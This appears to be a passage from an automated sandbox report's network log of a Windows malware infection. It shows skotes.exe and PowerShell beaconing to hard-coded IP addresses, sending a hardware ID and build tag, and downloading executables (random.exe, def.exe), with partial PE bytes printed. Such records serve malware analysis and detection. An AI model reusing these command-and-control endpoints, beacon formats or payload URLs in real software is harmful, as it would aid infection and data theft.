Nov 30, 2024 22:55:09.698005915 CET	2472	OUT	Data Raw: 0b 3b ce 7b 20 b5 af 80 f4 53 a8 d3 46 a1 8c 6d 0f e5 a5 32 9a 39 fa 6e 30 88 52 37 79 ff 5e 11 77 d4 78 81 b8 02 b6 79 cb eb f4 85 71 9f f1 38 15 af 8e ed 7e 44 01 10 0a 0e 72 74 64 80 04 df 85 2e c8 4b 32 46 04 0d d7 b6 5e 46 ea e1 98 aa 0c 0e Data Ascii: ;{ SFm29n0R7y^wxyq8~Drtd.K2F^Fzfc=r?G%(h['I}'BJE_+t84^@"*>ZWNPZb_:2%i7U@jA"q~St#v\
Nov 30, 2024 22:55:09.698237896 CET	4944	OUT	Data Raw: db 40 55 d4 31 6f 8f de 61 4c 4a 47 61 72 3c 5d 41 46 86 11 b8 85 3b ac a8 8a 3f 53 dd 11 fb 04 88 b8 ca 9b 32 af 89 71 d1 45 e2 8e 66 a0 66 93 b0 04 e7 82 50 82 c5 0a f6 ae fc d5 94 6a 01 cb d9 2c 8e 26 b4 db 28 54 1d 5e 29 be ce 3d f0 56 29 cc Data Ascii: @U1oaLJGar<]AF;?S2qEffPj,&(T^)=V)rQP$>~Ssj\|*!<yJqIsmav>d;vIqJVeSv g:hZ1$eR6K3t>$:Bzcg
Nov 30, 2024 22:55:09.817908049 CET	4944	OUT	Data Raw: 25 31 cb eb e8 a6 53 da a8 a5 5c 2c 31 ce 63 b9 90 08 67 b9 de a2 03 13 73 04 25 30 76 89 49 2e 07 f7 c2 a1 89 34 64 78 61 0b 5e b0 55 b3 c2 fb 16 89 3d 25 3b bd b2 6d d2 25 f4 03 16 a7 70 74 df 27 49 9e 2d c3 9b ea 8a 26 0e fe 30 e0 01 ec 3d 87 Data Ascii: %1S\,1cgs%0vI.4dxa^U=%;m%pt'I-&0=drPz(Rd}SfOzN:;aX7zIw3XG4#L`<&Vuj$qki IobNAM5YS?AxZ7v? Ex74[^&
Nov 30, 2024 22:55:09.817940950 CET	2472	OUT	Data Raw: e8 bc c3 68 df 0d 02 a6 ef 75 90 ff e7 73 3e cc 4a 0b 2b 5d f9 fa 35 ef 75 c5 a9 2a 2f 4b 69 45 12 61 2e 8d bd 0f da f8 7a e4 67 95 45 c4 af d1 db da de 7e 38 ab f5 53 af 8b 53 f8 ba f7 20 dd 86 b0 4a f9 98 41 af b3 9d 99 16 bb 1a 35 de e8 c9 08 Data Ascii: hus>J+]5u/KiEa.zgE~8SS JA5Ib\rVFBX1j7o?kffuYFzSIaCx3=Qt2hcH~!$PE$^E/[BOi3knD42$T3rB
Nov 30, 2024 22:55:11.536329031 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 21:55:11 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 22 x-ratelimit-reset: 1733004649 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49968	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:10.695306063 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:11.686862946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49973	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:11.841635942 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 30 37 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1010792001&unit=246122658369
Nov 30, 2024 22:55:13.222601891 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49979	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:13.872872114 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:55:15.141238928 CET	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 36 0d 0a 20 3c 63 3e 31 30 30 30 31 34 32 30 31 30 31 2b 2b 2b 38 34 62 66 31 31 30 31 37 38 39 39 65 65 34 30 34 61 36 61 33 38 32 30 63 63 65 66 34 31 64 38 34 33 37 38 33 65 35 33 31 37 34 38 30 34 31 39 33 38 39 62 62 39 38 31 65 38 30 36 64 32 62 37 30 62 66 64 63 35 32 35 62 32 39 66 31 61 30 35 37 38 62 63 30 66 31 61 32 62 65 64 33 32 33 34 34 62 30 62 36 31 34 61 31 37 32 30 61 30 33 66 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 86 <c>10001420101+++84bf11017899ee404a6a3820ccef41d843783e5317480419389bb981e806d2b70bfdc525b29f1a0578bc0f1a2bed32344b0b614a1720a03f#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49981	185.215.113.16	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:14.235730886 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 22:55:15.628571987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:15 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Sat, 30 Nov 2024 21:40:26 GMT Connection: keep-alive ETag: "674b864a-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+P8+`Ui` @ @.rsrc`2@.idata 8@prdxzixt`P:@jfbasxge +@.taggant@ +"@
Nov 30, 2024 22:55:15.628673077 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.629308939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.629502058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.629511118 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.629987001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.630219936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.630228043 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.630980968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.631150961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:15.748678923 CET	1236	IN	Data Raw: 5b 8c d8 5c 57 4e 9b 8f 30 2e e5 56 10 5d ad 73 79 fe 87 67 74 69 c1 58 f9 53 60 63 03 23 14 2d 16 78 8e 6a f4 58 a1 0e 3f 42 58 77 2f 55 a1 7d 74 7e 92 66 62 c1 9c 91 2a 6e 7c ea 68 4c 12 92 7a 7f b5 ba 31 6e 79 0a c8 5b cb ea 68 4c 12 00 7b 73 Data Ascii: [\WN0.V]sygtiXS`c#-xjX?BXw/U}t~fbn\|hLz1ny[hL{s=nm[5b3DLzwnb;p,?ujXZU;I6kGK{g39hR;y<-I!p;Bh-dbDzu~tuiOxb[8Q{v1J!5\H_R

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	50004	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:18.956471920 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 30, 2024 22:55:20.297954082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:20 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Sat, 30 Nov 2024 21:40:28 GMT Connection: keep-alive ETag: "674b864c-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+P8+`Ui` @ @.rsrc`2@.idata 8@prdxzixt`P:@jfbasxge +@.taggant@ +"@
Nov 30, 2024 22:55:20.298156977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.298167944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.298738003 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.298748016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.299484968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.299504995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.300190926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:20.300209999 CET	1236	IN	Data Raw: 62 c1 9c 91 2a 6e 7c ea 68 4c 12 92 7a 7f b5 ba 31 6e 79 0a c8 5b cb ea 68 4c 12 00 7b 73 b5 ea 3d 6e 9f 6d 5b bf 35 62 8a 33 96 f2 9d 44 17 4c 7a 77 e0 eb d8 6e 0f 62 96 9d 98 3b d0 70 2c 3f 75 a9 92 6a 1d 58 13 b2 5a 55 9d b4 3b 49 36 e6 0b 6b Data Ascii: bn\|hLz1ny[hL{s=nm[5b3DLzwnb;p,?ujXZU;I6kGK{g39hR;y<-I!p;Bh-dbDzu~tuiOxb[8Q{v1J!5\H_Rnm~pm~~p(Vw>v1/evM
Nov 30, 2024 22:55:20.300220966 CET	1236	IN	Data Raw: a3 71 7f 71 86 43 c0 63 e2 23 80 58 03 24 1a 8e d3 3d aa 78 ea ad a4 3e 20 3c 81 9b 62 8b d1 c8 73 91 66 fa 76 19 dc c0 6a ef 42 5a 54 10 b9 39 db cd d3 a5 30 c0 ba 3b 1b 6c 08 53 65 25 08 d4 19 94 6d 24 65 f8 a8 ff b9 2f 8a bc 40 ef d3 6d 29 94 Data Ascii: qqCc#X$=x> <bsfvjBZT90;lSe%m$e/@m)YR;Z1'u5'^M\T>o<wCMl!Kc^}-4B9rcyV<80wiw+)GR[:~UH>P2
Nov 30, 2024 22:55:20.419691086 CET	1236	IN	Data Raw: 2b e5 87 f5 ed 45 2d 5c 21 05 8d 4e 3e 65 f2 6f 4a d4 3f 08 3b 61 f8 73 2c 1e b0 fb 19 25 b6 0b 61 1c c0 60 0f 39 45 af 52 32 a4 44 30 ae 11 ae 2f 4b fd 8a 15 08 df a3 50 29 d1 a4 e2 b6 05 45 4d b8 5c cc 0d d2 5a 73 ed f9 a7 8d 2a 0d 31 76 17 39 Data Ascii: +E-\!N>eoJ?;as,%a`9ER2D0/KP)EM\Zs1v9.-@V6J;GG#B-YP&kA40'CBFTc8LwIk%8ZcHdc,\P\wTGW8lYnZ@mKAI a#,85&``ZtwkBQ&q?\95z

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.9	50015	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:22.303339005 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:55:23.652857065 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:55:23.655287981 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"drum------KEGCBFCBFBKFHIECAFCF--
Nov 30, 2024 22:55:24.100078106 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50017	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:23.551007986 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010793001&unit=246122658369
Nov 30, 2024 22:55:24.947645903 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50026	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:26.729276896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:28.140225887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50042	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:30.078958988 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:55:31.420578003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50053	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:33.222609997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:34.593725920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	50060	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:35.489907026 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 30, 2024 22:55:36.820030928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:36 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Sat, 30 Nov 2024 21:40:28 GMT Connection: keep-alive ETag: "674b864c-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 